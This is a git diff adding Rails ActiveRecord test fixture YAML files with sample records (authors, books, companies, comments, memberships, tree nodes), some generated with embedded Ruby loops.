+++ b/activerecord/test/fixtures/admin/randomly_named_b0.yml
@@ -0,0 +1,7 @@
+first_instance:

+  some_attribute: AAA

+  another_attribute: 000

+

+second_instance:

+  some_attribute: BBB

+  another_attribute: 999

diff --git a/activerecord/test/fixtures/admin/users.yml b/activerecord/test/fixtures/admin/users.yml
new file mode 100644
index 0000000000..e2884beda5
--- /dev/null
+++ b/activerecord/test/fixtures/admin/users.yml
@@ -0,0 +1,10 @@
+david:
+  name: David
+  account: signals37
+
+jamis:
+  name: Jamis
+  account: signals37
+  settings:
+    :symbol: symbol
+    string: string
diff --git a/activerecord/test/fixtures/all/admin b/activerecord/test/fixtures/all/admin
new file mode 120000
index 0000000000..984d12a043
--- /dev/null
+++ b/activerecord/test/fixtures/all/admin
@@ -0,0 +1 @@
+../to_be_linked/
\ No newline at end of file
diff --git a/activerecord/test/fixtures/all/developers.yml b/activerecord/test/fixtures/all/developers.yml
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activerecord/test/fixtures/all/developers.yml
diff --git a/activerecord/test/fixtures/all/namespaced/accounts.yml b/activerecord/test/fixtures/all/namespaced/accounts.yml
new file mode 100644
index 0000000000..9e341a15af
--- /dev/null
+++ b/activerecord/test/fixtures/all/namespaced/accounts.yml
@@ -0,0 +1,2 @@
+signals37:
+  name: 37signals
diff --git a/activerecord/test/fixtures/all/people.yml b/activerecord/test/fixtures/all/people.yml
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activerecord/test/fixtures/all/people.yml
diff --git a/activerecord/test/fixtures/all/tasks.yml b/activerecord/test/fixtures/all/tasks.yml
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/activerecord/test/fixtures/all/tasks.yml
diff --git a/activerecord/test/fixtures/author_addresses.yml b/activerecord/test/fixtures/author_addresses.yml
new file mode 100644
index 0000000000..cf75e5998d
--- /dev/null
+++ b/activerecord/test/fixtures/author_addresses.yml
@@ -0,0 +1,11 @@
+david_address:
+  id: 1
+
+david_address_extra:
+  id: 2
+
+mary_address:
+  id: 3
+
+bob_address:
+  id: 4
diff --git a/activerecord/test/fixtures/author_favorites.yml b/activerecord/test/fixtures/author_favorites.yml
new file mode 100644
index 0000000000..e81fdac778
--- /dev/null
+++ b/activerecord/test/fixtures/author_favorites.yml
@@ -0,0 +1,4 @@
+david_mary:
+  id: 1
+  author_id: 1
+  favorite_author_id: 2
\ No newline at end of file
diff --git a/activerecord/test/fixtures/authors.yml b/activerecord/test/fixtures/authors.yml
new file mode 100644
index 0000000000..41c124179e
--- /dev/null
+++ b/activerecord/test/fixtures/authors.yml
@@ -0,0 +1,17 @@
+david:
+  id: 1
+  name: David
+  author_address_id: 1
+  author_address_extra_id: 2
+  organization_id: No Such Agency
+  owned_essay_id: A Modest Proposal
+
+mary:
+  id: 2
+  name: Mary
+  author_address_id: 3
+
+bob:
+  id: 3
+  name: Bob
+  author_address_id: 4
diff --git a/activerecord/test/fixtures/bad_posts.yml b/activerecord/test/fixtures/bad_posts.yml
new file mode 100644
index 0000000000..addee8e3bf
--- /dev/null
+++ b/activerecord/test/fixtures/bad_posts.yml
@@ -0,0 +1,9 @@
+# Please do not use this fixture without `set_fixture_class` as Post
+
+_fixture:
+  model_class: BadPostModel
+
+bad_welcome:
+  author_id: 1
+  title: Welcome to the another weblog
+  body: It's really nice today
diff --git a/activerecord/test/fixtures/binaries.yml b/activerecord/test/fixtures/binaries.yml
new file mode 100644
index 0000000000..ec8f2facdc
--- /dev/null
+++ b/activerecord/test/fixtures/binaries.yml
@@ -0,0 +1,133 @@
+flowers:
+  id: 1
+  data: !binary |-
+    /9j/4AAQSkZJRgABAQEASABIAAD/2wBDAA0JCQoKCg4LCw4UDQsNFBcRDg4R
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diff --git a/activerecord/test/fixtures/books.yml b/activerecord/test/fixtures/books.yml
new file mode 100644
index 0000000000..699623a6f9
--- /dev/null
+++ b/activerecord/test/fixtures/books.yml
@@ -0,0 +1,33 @@
+awdr:
+  author_id: 1
+  id: 1
+  name: "Agile Web Development with Rails"
+  format: "paperback"
+  status: :published
+  read_status: :read
+  language: :english
+  author_visibility: :visible
+  illustrator_visibility: :visible
+  font_size: :medium
+  difficulty: :medium
+
+rfr:
+  author_id: 1
+  id: 2
+  name: "Ruby for Rails"
+  format: "ebook"
+  status: "proposed"
+  read_status: "reading"
+
+ddd:
+  author_id: 1
+  id: 3
+  name: "Domain-Driven Design"
+  format: "hardcover"
+  status: 2
+  read_status: "forgotten"
+
+tlg:
+  author_id: 1
+  id: 4
+  name: "Thoughtleadering"
diff --git a/activerecord/test/fixtures/bulbs.yml b/activerecord/test/fixtures/bulbs.yml
new file mode 100644
index 0000000000..e5ce2b796c
--- /dev/null
+++ b/activerecord/test/fixtures/bulbs.yml
@@ -0,0 +1,5 @@
+defaulty:
+  name: defaulty
+
+special:
+  name: special
diff --git a/activerecord/test/fixtures/cars.yml b/activerecord/test/fixtures/cars.yml
new file mode 100644
index 0000000000..b4c748aaa7
--- /dev/null
+++ b/activerecord/test/fixtures/cars.yml
@@ -0,0 +1,9 @@
+honda:
+  id: 1
+  name: honda
+  engines_count: 0
+
+zyke:
+  id: 2
+  name: zyke
+  engines_count: 0
diff --git a/activerecord/test/fixtures/categories.yml b/activerecord/test/fixtures/categories.yml
new file mode 100644
index 0000000000..3e75e733a6
--- /dev/null
+++ b/activerecord/test/fixtures/categories.yml
@@ -0,0 +1,19 @@
+general:
+  id: 1
+  name: General
+  type: Category
+
+technology:
+  id: 2
+  name: Technology
+  type: Category
+
+sti_test:
+  id: 3
+  name: Special category
+  type: SpecialCategory
+
+cooking:
+  id: 4
+  name: Cooking
+  type: Category
diff --git a/activerecord/test/fixtures/categories/special_categories.yml b/activerecord/test/fixtures/categories/special_categories.yml
new file mode 100644
index 0000000000..517fc8f7ad
--- /dev/null
+++ b/activerecord/test/fixtures/categories/special_categories.yml
@@ -0,0 +1,9 @@
+sub_special_1:
+  id: 100
+  name: A special category in a subdir file
+  type: SpecialCategory
+
+sub_special_2:
+  id: 101
+  name: Another special category
+  type: SpecialCategory
diff --git a/activerecord/test/fixtures/categories/subsubdir/arbitrary_filename.yml b/activerecord/test/fixtures/categories/subsubdir/arbitrary_filename.yml
new file mode 100644
index 0000000000..389a04a5aa
--- /dev/null
+++ b/activerecord/test/fixtures/categories/subsubdir/arbitrary_filename.yml
@@ -0,0 +1,4 @@
+sub_special_3:
+  id: 102
+  name: A special category in an arbitrarily named subsubdir file
+  type: SpecialCategory
diff --git a/activerecord/test/fixtures/categories_ordered.yml b/activerecord/test/fixtures/categories_ordered.yml
new file mode 100644
index 0000000000..294a6368d6
--- /dev/null
+++ b/activerecord/test/fixtures/categories_ordered.yml
@@ -0,0 +1,7 @@
+--- !omap
+<% 100.times do |i| %>
+- fixture_no_<%= i %>:
+    id: <%= i %>
+    name: <%= "Category #{i}" %>
+    type: Category
+<% end %>
diff --git a/activerecord/test/fixtures/categories_posts.yml b/activerecord/test/fixtures/categories_posts.yml
new file mode 100644
index 0000000000..c6f0d885f5
--- /dev/null
+++ b/activerecord/test/fixtures/categories_posts.yml
@@ -0,0 +1,31 @@
+general_welcome:
+  category_id: 1
+  post_id: 1
+
+technology_welcome:
+  category_id: 2
+  post_id: 1
+
+general_thinking:
+  category_id: 1
+  post_id: 2
+
+general_sti_habtm:
+  category_id: 1
+  post_id: 6
+
+sti_test_sti_habtm:
+  category_id: 3
+  post_id: 6
+
+general_hello:
+  category_id: 1
+  post_id: 4
+
+general_misc_by_bob:
+  category_id: 1
+  post_id: 8
+
+cooking_misc_by_bob:
+  category_id: 4
+  post_id: 8
diff --git a/activerecord/test/fixtures/categorizations.yml b/activerecord/test/fixtures/categorizations.yml
new file mode 100644
index 0000000000..62e5bd111a
--- /dev/null
+++ b/activerecord/test/fixtures/categorizations.yml
@@ -0,0 +1,23 @@
+david_welcome_general:
+  id: 1
+  author_id: 1
+  post_id: 1
+  category_id: 1
+
+mary_thinking_sti:
+  id: 2
+  author_id: 2
+  post_id: 2
+  category_id: 3
+
+mary_thinking_general:
+  id: 3
+  author_id: 2
+  post_id: 2
+  category_id: 1
+
+bob_misc_by_bob_technology:
+  id: 4
+  author_id: 3
+  post_id: 8
+  category_id: 2
diff --git a/activerecord/test/fixtures/clubs.yml b/activerecord/test/fixtures/clubs.yml
new file mode 100644
index 0000000000..82e439e8e5
--- /dev/null
+++ b/activerecord/test/fixtures/clubs.yml
@@ -0,0 +1,8 @@
+boring_club:
+  name: Banana appreciation society
+  category_id: 1
+moustache_club:
+  name: Moustache and Eyebrow Fancier Club
+crazy_club:
+  name: Skull and bones
+  category_id: 2
diff --git a/activerecord/test/fixtures/collections.yml b/activerecord/test/fixtures/collections.yml
new file mode 100644
index 0000000000..ad0fd26554
--- /dev/null
+++ b/activerecord/test/fixtures/collections.yml
@@ -0,0 +1,3 @@
+collection_1:
+  id: 1
+  name: Collection
diff --git a/activerecord/test/fixtures/colleges.yml b/activerecord/test/fixtures/colleges.yml
new file mode 100644
index 0000000000..27591e0c2c
--- /dev/null
+++ b/activerecord/test/fixtures/colleges.yml
@@ -0,0 +1,3 @@
+FIU:
+  id: 1
+  name: Florida International University
diff --git a/activerecord/test/fixtures/comments.yml b/activerecord/test/fixtures/comments.yml
new file mode 100644
index 0000000000..ddbb823c49
--- /dev/null
+++ b/activerecord/test/fixtures/comments.yml
@@ -0,0 +1,65 @@
+greetings:
+  id: 1
+  post_id: 1
+  body: Thank you for the welcome
+  type: Comment
+
+more_greetings:
+  id: 2
+  post_id: 1
+  body: Thank you again for the welcome
+  type: Comment
+
+does_it_hurt:
+  id: 3
+  post_id: 2
+  body: Don't think too hard
+  type: SpecialComment
+
+eager_sti_on_associations_vs_comment:
+  id: 5
+  post_id: 4
+  body: Very Special type
+  type: VerySpecialComment
+
+eager_sti_on_associations_s_comment1:
+  id: 6
+  post_id: 4
+  body: Special type
+  type: SpecialComment
+
+eager_sti_on_associations_s_comment2:
+  id: 7
+  post_id: 4
+  body: Special type 2
+  type: SpecialComment
+
+eager_sti_on_associations_comment:
+  id: 8
+  post_id: 4
+  body: Normal type
+  type: Comment
+
+check_eager_sti_on_associations:
+  id: 9
+  post_id: 5
+  body: Normal type
+  type: Comment
+
+check_eager_sti_on_associations2:
+  id: 10
+  post_id: 5
+  body: Special Type
+  type: SpecialComment
+
+eager_other_comment1:
+  id: 11
+  post_id: 7
+  body: go crazy
+  type: SpecialComment
+
+sub_special_comment:
+  id: 12
+  post_id: 4
+  body: Sub special comment
+  type: SubSpecialComment
diff --git a/activerecord/test/fixtures/companies.yml b/activerecord/test/fixtures/companies.yml
new file mode 100644
index 0000000000..ab9d5378ad
--- /dev/null
+++ b/activerecord/test/fixtures/companies.yml
@@ -0,0 +1,67 @@
+first_client:
+  id: 2
+  type: Client
+  firm_id: 1
+  client_of: 2
+  name: Summit
+  firm_name: 37signals
+
+first_firm:
+  id: 1
+  type: Firm
+  name: 37signals
+  firm_id: 1
+
+second_client:
+  id: 3
+  type: Client
+  firm_id: 1
+  client_of: 1
+  name: Microsoft
+
+another_firm:
+  id: 4
+  type: Firm
+  name: Flamboyant Software
+
+another_client:
+  id: 5
+  type: Client
+  firm_id: 4
+  client_of: 4
+  name: Ex Nihilo
+
+a_third_client:
+  id: 10
+  type: Client
+  firm_id: 4
+  client_of: 4
+  name: Ex Nihilo Part Deux
+
+rails_core:
+  id: 6
+  name: RailsCore
+  type: DependentFirm
+
+leetsoft:
+  id: 7
+  name: Leetsoft
+  client_of: 6
+
+jadedpixel:
+  id: 8
+  name: Jadedpixel
+  client_of: 6
+
+odegy:
+  id: 9
+  name: Odegy
+  type: ExclusivelyDependentFirm
+
+another_first_firm_client:
+  id: 11
+  type: Client
+  firm_id: 1
+  client_of: 1
+  name: Apex
+  firm_name: 37signals
diff --git a/activerecord/test/fixtures/computers.yml b/activerecord/test/fixtures/computers.yml
new file mode 100644
index 0000000000..ad5ae2ec71
--- /dev/null
+++ b/activerecord/test/fixtures/computers.yml
@@ -0,0 +1,10 @@
+workstation:
+  id: 1
+  system: 'Linux'
+  developer: 1
+  extendedWarranty: 1
+
+laptop:
+  system: 'MacOS 1'
+  developer: 1
+  extendedWarranty: 1
diff --git a/activerecord/test/fixtures/content.yml b/activerecord/test/fixtures/content.yml
new file mode 100644
index 0000000000..0d12ee03dc
--- /dev/null
+++ b/activerecord/test/fixtures/content.yml
@@ -0,0 +1,3 @@
+content:
+  id: 1
+  title: How to use Rails
diff --git a/activerecord/test/fixtures/content_positions.yml b/activerecord/test/fixtures/content_positions.yml
new file mode 100644
index 0000000000..9e85773f8e
--- /dev/null
+++ b/activerecord/test/fixtures/content_positions.yml
@@ -0,0 +1,3 @@
+content_positions:
+  id: 1
+  content_id: 1
diff --git a/activerecord/test/fixtures/courses.yml b/activerecord/test/fixtures/courses.yml
new file mode 100644
index 0000000000..de3a4a97e5
--- /dev/null
+++ b/activerecord/test/fixtures/courses.yml
@@ -0,0 +1,8 @@
+ruby:
+  id: 1
+  name: Ruby Development
+  college: FIU
+
+java:
+  id: 2
+  name: Java Development
diff --git a/activerecord/test/fixtures/customers.yml b/activerecord/test/fixtures/customers.yml
new file mode 100644
index 0000000000..0399ff83b9
--- /dev/null
+++ b/activerecord/test/fixtures/customers.yml
@@ -0,0 +1,26 @@
+david:
+  id: 1
+  name: David
+  balance: 50
+  address_street: Funny Street
+  address_city: Scary Town
+  address_country: Loony Land
+  gps_location: 35.544623640962634x-105.9309951055148
+
+zaphod:
+  id: 2
+  name: Zaphod
+  balance: 62
+  address_street: Avenue Road
+  address_city: Hamlet Town
+  address_country: Nation Land
+  gps_location: NULL
+
+barney:
+  id: 3
+  name: Barney Gumble
+  balance: 1
+  address_street: Quiet Road
+  address_city: Peaceful Town
+  address_country: Tranquil Land
+  gps_location: NULL
\ No newline at end of file
diff --git a/activerecord/test/fixtures/dashboards.yml b/activerecord/test/fixtures/dashboards.yml
new file mode 100644
index 0000000000..a4c7e0d309
--- /dev/null
+++ b/activerecord/test/fixtures/dashboards.yml
@@ -0,0 +1,6 @@
+cool_first:
+  dashboard_id: d1
+  name: my_dashboard
+second:
+  dashboard_id: d2
+  name: second
diff --git a/activerecord/test/fixtures/dead_parrots.yml b/activerecord/test/fixtures/dead_parrots.yml
new file mode 100644
index 0000000000..da5529dd27
--- /dev/null
+++ b/activerecord/test/fixtures/dead_parrots.yml
@@ -0,0 +1,5 @@
+deadbird:
+  name: "Dusty DeadBird"
+  treasures: [ruby, sapphire]
+  parrot_sti_class: DeadParrot
+  killer: blackbeard
diff --git a/activerecord/test/fixtures/developers.yml b/activerecord/test/fixtures/developers.yml
new file mode 100644
index 0000000000..54b74e7a74
--- /dev/null
+++ b/activerecord/test/fixtures/developers.yml
@@ -0,0 +1,22 @@
+david:
+  id: 1
+  name: David
+  salary: 80000
+  shared_computers: laptop
+
+jamis:
+  id: 2
+  name: Jamis
+  salary: 150000
+
+<% (3..10).each do |digit| %>
+dev_<%= digit %>:
+  id: <%= digit %>
+  name: fixture_<%= digit %>
+  salary: 100000
+<% end %>
+
+poor_jamis:
+  id: 11
+  name: Jamis
+  salary: 9000
diff --git a/activerecord/test/fixtures/developers_projects.yml b/activerecord/test/fixtures/developers_projects.yml
new file mode 100644
index 0000000000..572958707f
--- /dev/null
+++ b/activerecord/test/fixtures/developers_projects.yml
@@ -0,0 +1,17 @@
+david_action_controller:
+  developer_id: 1
+  project_id: 2
+  joined_on: 2004-10-10
+
+david_active_record:
+  developer_id: 1
+  project_id: 1
+  joined_on: 2004-10-10
+
+jamis_active_record:
+  developer_id: 2
+  project_id: 1
+
+poor_jamis_active_record:
+  developer_id: 11
+  project_id: 1
\ No newline at end of file
diff --git a/activerecord/test/fixtures/dog_lovers.yml b/activerecord/test/fixtures/dog_lovers.yml
new file mode 100644
index 0000000000..3f4c6c9e4c
--- /dev/null
+++ b/activerecord/test/fixtures/dog_lovers.yml
@@ -0,0 +1,7 @@
+david:
+  id: 1
+  bred_dogs_count: 0
+  trained_dogs_count: 1
+joanna:
+  id: 2
+  dogs_count: 1
diff --git a/activerecord/test/fixtures/dogs.yml b/activerecord/test/fixtures/dogs.yml
new file mode 100644
index 0000000000..b5eb2c7b74
--- /dev/null
+++ b/activerecord/test/fixtures/dogs.yml
@@ -0,0 +1,4 @@
+sophie:
+  id: 1
+  trainer_id: 1
+  dog_lover_id: 2
diff --git a/activerecord/test/fixtures/doubloons.yml b/activerecord/test/fixtures/doubloons.yml
new file mode 100644
index 0000000000..efd1643971
--- /dev/null
+++ b/activerecord/test/fixtures/doubloons.yml
@@ -0,0 +1,3 @@
+blackbeards_doubloon:
+  pirate: blackbeard
+  weight: 2
diff --git a/activerecord/test/fixtures/edges.yml b/activerecord/test/fixtures/edges.yml
new file mode 100644
index 0000000000..b804f7b6a6
--- /dev/null
+++ b/activerecord/test/fixtures/edges.yml
@@ -0,0 +1,5 @@
+<% (1..4).each do |id| %>
+edge_<%= id %>:
+  source_id: <%= id %>
+  sink_id: <%= id + 1 %>
+<% end %>
diff --git a/activerecord/test/fixtures/entrants.yml b/activerecord/test/fixtures/entrants.yml
new file mode 100644
index 0000000000..86f0108e52
--- /dev/null
+++ b/activerecord/test/fixtures/entrants.yml
@@ -0,0 +1,14 @@
+first:
+  id: 1
+  course_id: 1
+  name: Ruby Developer
+
+second:
+  id: 2
+  course_id: 1
+  name: Ruby Guru
+
+third:
+  id: 3
+  course_id: 2
+  name: Java Lover
diff --git a/activerecord/test/fixtures/essays.yml b/activerecord/test/fixtures/essays.yml
new file mode 100644
index 0000000000..9d15d82359
--- /dev/null
+++ b/activerecord/test/fixtures/essays.yml
@@ -0,0 +1,6 @@
+david_modest_proposal:
+  name: A Modest Proposal
+  writer_type: Author
+  writer_id: David
+  category_id: General
+  author_id: David
diff --git a/activerecord/test/fixtures/faces.yml b/activerecord/test/fixtures/faces.yml
new file mode 100644
index 0000000000..c8e4a34484
--- /dev/null
+++ b/activerecord/test/fixtures/faces.yml
@@ -0,0 +1,11 @@
+trusting:
+  description: trusting
+  man: gordon
+
+weather_beaten:
+  description: weather beaten
+  man: steve
+
+confused:
+  description: confused
+  polymorphic_man: gordon (Man)
diff --git a/activerecord/test/fixtures/fk_test_has_fk.yml b/activerecord/test/fixtures/fk_test_has_fk.yml
new file mode 100644
index 0000000000..67d914e130
--- /dev/null
+++ b/activerecord/test/fixtures/fk_test_has_fk.yml
@@ -0,0 +1,3 @@
+first:
+  id: 1
+  fk_id: 1
diff --git a/activerecord/test/fixtures/fk_test_has_pk.yml b/activerecord/test/fixtures/fk_test_has_pk.yml
new file mode 100644
index 0000000000..73882bac41
--- /dev/null
+++ b/activerecord/test/fixtures/fk_test_has_pk.yml
@@ -0,0 +1,2 @@
+first:
+  pk_id: 1
\ No newline at end of file
diff --git a/activerecord/test/fixtures/friendships.yml b/activerecord/test/fixtures/friendships.yml
new file mode 100644
index 0000000000..ae0abe0162
--- /dev/null
+++ b/activerecord/test/fixtures/friendships.yml
@@ -0,0 +1,4 @@
+Connection 1:
+  id: 1
+  friend_id: 1
+  follower_id: 2
diff --git a/activerecord/test/fixtures/funny_jokes.yml b/activerecord/test/fixtures/funny_jokes.yml
new file mode 100644
index 0000000000..d47c4a6a10
--- /dev/null
+++ b/activerecord/test/fixtures/funny_jokes.yml
@@ -0,0 +1,10 @@
+a_joke:
+  id: 1
+  name: Knock knock
+
+another_joke:
+  id: 2
+  name: |
+       The \n Aristocrats
+       Ate the candy
+
diff --git a/activerecord/test/fixtures/interests.yml b/activerecord/test/fixtures/interests.yml
new file mode 100644
index 0000000000..9200a19d5a
--- /dev/null
+++ b/activerecord/test/fixtures/interests.yml
@@ -0,0 +1,33 @@
+trainspotting:
+  topic: Trainspotting
+  zine: staying_in
+  man: gordon
+
+birdwatching:
+  topic: Birdwatching
+  zine: staying_in
+  man: gordon
+
+stamp_collecting:
+  topic: Stamp Collecting
+  zine: staying_in
+  man: gordon
+
+hunting:
+  topic: Hunting
+  zine: going_out
+  man: steve
+
+woodsmanship:
+  topic: Woodsmanship
+  zine: going_out
+  man: steve
+
+survival:
+  topic: Survival
+  zine: going_out
+  man: steve
+
+llama_wrangling:
+  topic: Llama Wrangling
+  polymorphic_man: gordon (Man)
diff --git a/activerecord/test/fixtures/items.yml b/activerecord/test/fixtures/items.yml
new file mode 100644
index 0000000000..94e3821445
--- /dev/null
+++ b/activerecord/test/fixtures/items.yml
@@ -0,0 +1,3 @@
+dvd:
+  id: 1
+  name: Godfather
diff --git a/activerecord/test/fixtures/jobs.yml b/activerecord/test/fixtures/jobs.yml
new file mode 100644
index 0000000000..f5775d27d3
--- /dev/null
+++ b/activerecord/test/fixtures/jobs.yml
@@ -0,0 +1,7 @@
+unicyclist:
+  id: 1
+  ideal_reference_id: 2
+clown:
+  id: 2
+magician:
+  id: 3
diff --git a/activerecord/test/fixtures/legacy_things.yml b/activerecord/test/fixtures/legacy_things.yml
new file mode 100644
index 0000000000..a6d42aab5d
--- /dev/null
+++ b/activerecord/test/fixtures/legacy_things.yml
@@ -0,0 +1,3 @@
+obtuse:
+  id: 1
+  tps_report_number: 500
diff --git a/activerecord/test/fixtures/live_parrots.yml b/activerecord/test/fixtures/live_parrots.yml
new file mode 100644
index 0000000000..95b2078da7
--- /dev/null
+++ b/activerecord/test/fixtures/live_parrots.yml
@@ -0,0 +1,4 @@
+dusty:
+  name: "Dusty Bluebird"
+  treasures: [ruby, sapphire]
+  parrot_sti_class: LiveParrot
diff --git a/activerecord/test/fixtures/mateys.yml b/activerecord/test/fixtures/mateys.yml
new file mode 100644
index 0000000000..3f0405aaf8
--- /dev/null
+++ b/activerecord/test/fixtures/mateys.yml
@@ -0,0 +1,4 @@
+blackbeard_to_redbeard:
+  pirate_id: <%= ActiveRecord::FixtureSet.identify(:blackbeard) %>
+  target_id: <%= ActiveRecord::FixtureSet.identify(:redbeard) %>
+  weight: 10
diff --git a/activerecord/test/fixtures/member_details.yml b/activerecord/test/fixtures/member_details.yml
new file mode 100644
index 0000000000..e1fe695a9b
--- /dev/null
+++ b/activerecord/test/fixtures/member_details.yml
@@ -0,0 +1,8 @@
+groucho:
+  id: 1
+  member_id: 1
+  organization: nsa
+some_other_guy:
+  id: 2
+  member_id: 2
+  organization: nsa
diff --git a/activerecord/test/fixtures/member_types.yml b/activerecord/test/fixtures/member_types.yml
new file mode 100644
index 0000000000..797a57430c
--- /dev/null
+++ b/activerecord/test/fixtures/member_types.yml
@@ -0,0 +1,6 @@
+founding:
+  id: 1
+  name: Founding
+provisional:
+  id: 2
+  name: Provisional
diff --git a/activerecord/test/fixtures/members.yml b/activerecord/test/fixtures/members.yml
new file mode 100644
index 0000000000..f3bbf0dac6
--- /dev/null
+++ b/activerecord/test/fixtures/members.yml
@@ -0,0 +1,11 @@
+groucho:
+  id: 1
+  name: Groucho Marx
+  member_type_id: 1
+some_other_guy:
+  id: 2
+  name: Englebert Humperdink
+  member_type_id: 2
+blarpy_winkup:
+  id: 3
+  name: Blarpy Winkup
diff --git a/activerecord/test/fixtures/memberships.yml b/activerecord/test/fixtures/memberships.yml
new file mode 100644
index 0000000000..a5d52bd438
--- /dev/null
+++ b/activerecord/test/fixtures/memberships.yml
@@ -0,0 +1,34 @@
+membership_of_boring_club:
+  joined_on: <%= 3.weeks.ago.to_s(:db) %>
+  club: boring_club
+  member_id: 1
+  favourite: false
+  type: CurrentMembership
+
+membership_of_favourite_club:
+  joined_on: <%= 3.weeks.ago.to_s(:db) %>
+  club: moustache_club
+  member_id: 1
+  favourite: true
+  type: Membership
+
+other_guys_membership:
+  joined_on: <%= 4.weeks.ago.to_s(:db) %>
+  club: boring_club
+  member_id: 2
+  favourite: false
+  type: CurrentMembership
+
+blarpy_winkup_crazy_club:
+  joined_on: <%= 4.weeks.ago.to_s(:db) %>
+  club: crazy_club
+  member_id: 3
+  favourite: false
+  type: CurrentMembership
+
+selected_membership_of_boring_club:
+  joined_on: <%= 3.weeks.ago.to_s(:db) %>
+  club: boring_club
+  member_id: 1
+  favourite: false
+  type: SelectedMembership
diff --git a/activerecord/test/fixtures/men.yml b/activerecord/test/fixtures/men.yml
new file mode 100644
index 0000000000..c67429f925
--- /dev/null
+++ b/activerecord/test/fixtures/men.yml
@@ -0,0 +1,5 @@
+gordon:
+  name: Gordon
+
+steve:
+  name: Steve
diff --git a/activerecord/test/fixtures/minimalistics.yml b/activerecord/test/fixtures/minimalistics.yml
new file mode 100644
index 0000000000..c3ec546209
--- /dev/null
+++ b/activerecord/test/fixtures/minimalistics.yml
@@ -0,0 +1,2 @@
+first:
+  id: 1
diff --git a/activerecord/test/fixtures/minivans.yml b/activerecord/test/fixtures/minivans.yml
new file mode 100644
index 0000000000..f1224a4c1a
--- /dev/null
+++ b/activerecord/test/fixtures/minivans.yml
@@ -0,0 +1,5 @@
+cool_first:
+  minivan_id: m1
+  name: my_minivan
+  speedometer_id: s1
+  color: blue
diff --git a/activerecord/test/fixtures/mixed_case_monkeys.yml b/activerecord/test/fixtures/mixed_case_monkeys.yml
new file mode 100644
index 0000000000..eecd448f4b
--- /dev/null
+++ b/activerecord/test/fixtures/mixed_case_monkeys.yml
@@ -0,0 +1,6 @@
+first:
+  monkeyID: 1
+  fleaCount: 42
+second:
+  monkeyID: 2
+  fleaCount: 43
diff --git a/activerecord/test/fixtures/mixins.yml b/activerecord/test/fixtures/mixins.yml
new file mode 100644
index 0000000000..f0009cc5f0
--- /dev/null
+++ b/activerecord/test/fixtures/mixins.yml
@@ -0,0 +1,29 @@
+# Nested set mixins
+
+<% (1..10).each do |counter| %>
+set_<%= counter %>:
+  id: <%= counter+3000 %>
+<% end %>
+
+# Big old set
+<%
+[[4001, 0, 1, 20],
+  [4002, 4001, 2, 7],
+  [4003, 4002, 3, 4],
+  [4004, 4002, 5, 6],
+  [4005, 4001, 14, 13],
+  [4006, 4005, 9, 10],
+  [4007, 4005, 11, 12],
+  [4008, 4001, 8, 19],
+  [4009, 4008, 15, 16],
+  [4010, 4008, 17, 18]].each do |set| %>
+tree_<%= set[0] %>:
+  id: <%= set[0]%>
+  parent_id: <%= set[1]%>
+  type: NestedSetWithStringScope
+  lft: <%= set[2]%>
+  rgt: <%= set[3]%>
+  root_id: 42
+
+<% end %>
+
diff --git a/activerecord/test/fixtures/movies.yml b/activerecord/test/fixtures/movies.yml
new file mode 100644
index 0000000000..2e9154fda8
--- /dev/null
+++ b/activerecord/test/fixtures/movies.yml
@@ -0,0 +1,7 @@
+first:
+  movieid: 1
+  name: Terminator
+
+second:
+  movieid: 2
+  name: Gladiator
diff --git a/activerecord/test/fixtures/naked/yml/accounts.yml b/activerecord/test/fixtures/naked/yml/accounts.yml
new file mode 100644
index 0000000000..8b13789179
--- /dev/null
+++ b/activerecord/test/fixtures/naked/yml/accounts.yml
@@ -0,0 +1 @@
+
diff --git a/activerecord/test/fixtures/naked/yml/companies.yml b/activerecord/test/fixtures/naked/yml/companies.yml
new file mode 100644
index 0000000000..2c151c203b
--- /dev/null
+++ b/activerecord/test/fixtures/naked/yml/companies.yml
@@ -0,0 +1 @@
+# i wonder what will happen here
diff --git a/activerecord/test/fixtures/naked/yml/courses.yml b/activerecord/test/fixtures/naked/yml/courses.yml
new file mode 100644
index 0000000000..19f0805d8d
--- /dev/null
+++ b/activerecord/test/fixtures/naked/yml/courses.yml
@@ -0,0 +1 @@
+qwerty
diff --git a/activerecord/test/fixtures/naked/yml/courses_with_invalid_key.yml b/activerecord/test/fixtures/naked/yml/courses_with_invalid_key.yml
new file mode 100644
index 0000000000..6f9da79b45
--- /dev/null
+++ b/activerecord/test/fixtures/naked/yml/courses_with_invalid_key.yml
@@ -0,0 +1,3 @@
+one:
+  id: 1
+two: ['not a hash']
diff --git a/activerecord/test/fixtures/naked/yml/parrots.yml b/activerecord/test/fixtures/naked/yml/parrots.yml
new file mode 100644
index 0000000000..76f66e01ae
--- /dev/null
+++ b/activerecord/test/fixtures/naked/yml/parrots.yml
@@ -0,0 +1,3 @@
+george:
+  arrr: "Curious George"
+  foobar: Foobar
diff --git a/activerecord/test/fixtures/naked/yml/trees.yml b/activerecord/test/fixtures/naked/yml/trees.yml
new file mode 100644
index 0000000000..d163b98f21
--- /dev/null
+++ b/activerecord/test/fixtures/naked/yml/trees.yml
@@ -0,0 +1,3 @@
+root:
+  :id: 1
+  :name: The Root
diff --git a/activerecord/test/fixtures/nodes.yml b/activerecord/test/fixtures/nodes.yml
new file mode 100644
index 0000000000..b8bb8216ee
--- /dev/null
+++ b/activerecord/test/fixtures/nodes.yml
@@ -0,0 +1,29 @@
+grandparent:
+  id: 1
+  tree_id: 1
+  name: Grand Parent
+
+parent_a:
+  id: 2
+  tree_id: 1
+  parent_id: 1
+  name: Parent A
+
+parent_b:
+  id: 3
+  tree_id: 1
+  parent_id: 1
+  name: Parent B
+
+child_one_of_a:
+  id: 4
+  tree_id: 1
+  parent_id: 2
+  name: Child one
+
+child_two_of_b:
+  id: 5
+  tree_id: 1
+  parent_id: 2
+  name: Child two
+
diff --git a/activerecord/test/fixtures/organizations.yml b/activerecord/test/fixtures/organizations.yml
new file mode 100644
index 0000000000..25295bff87
--- /dev/null
+++ b/activerecord/test/fixtures/organizations.yml
@@ -0,0 +1,5 @@
+nsa:
+  name: No Such Agency
+discordians:
+  name: Discordians
+
diff --git a/activerecord/test/fixtures/other_comments.yml b/activerecord/test/fixtures/other_comments.yml
new file mode 100644
index 0000000000..55e8216ec7
--- /dev/null
+++ b/activerecord/test/fixtures/other_comments.yml
@@ -0,0 +1,6 @@
+_fixture:
+  model_class: Comment
+
+second_greetings:
+  post: second_welcome
+  body: Thank you for the second welcome
